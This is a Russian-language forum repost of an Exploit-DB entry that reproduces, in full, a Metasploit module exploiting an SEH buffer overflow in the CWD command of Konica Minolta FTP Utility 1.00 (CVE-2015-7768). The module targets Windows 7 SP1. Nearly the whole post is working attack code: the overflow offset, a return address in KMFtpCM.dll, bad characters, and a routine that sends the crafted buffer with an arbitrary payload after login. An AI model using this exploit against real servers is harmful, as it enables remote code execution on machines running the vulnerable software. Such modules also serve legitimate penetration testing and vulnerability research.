Exploit Konica Minolta FTP Utility 1.00 - (Authenticated) CWD Command Overflow (SEH) (Metasploit)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
38254
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2015-7768
Дата публикации
2015-09-21
Konica Minolta FTP Utility 1.00 - (Authenticated) CWD Command Overflow (SEH) (Metasploit)
Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
      'Description' => %q{
          This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
        Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
        leads to an SEH overflow.  Konica FTP allows anonymous access by default; valid
        credentials are typically unnecessary to exploit this vulnerability.
      },
      'Author' =>
        [
          'Shankar Damodaran', # stack buffer overflow dos p.o.c
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'EBD', '37908' ]
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'Space' => 1500,
          'BadChars' => "\x00\x0a\x2f\x5c",
          'DisableNops' => true
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Windows 7 SP1 x86',
            {
              'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
              'Offset' => 1037
            }
          ]
        ],
      'DisclosureDate' => 'Aug 23 2015',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if banner =~ /FTP Utility FTP server \(Version 1\.00\)/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect_login

    buf = rand_text(target['Offset'])
    buf << generate_seh_record(target.ret)
    buf << payload.encoded
    buf << rand_text(3000)

    print_status("Sending exploit buffer...")
    send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string

    handler
    disconnect
  end
end
 
Источник
www.exploit-db.com

Похожие темы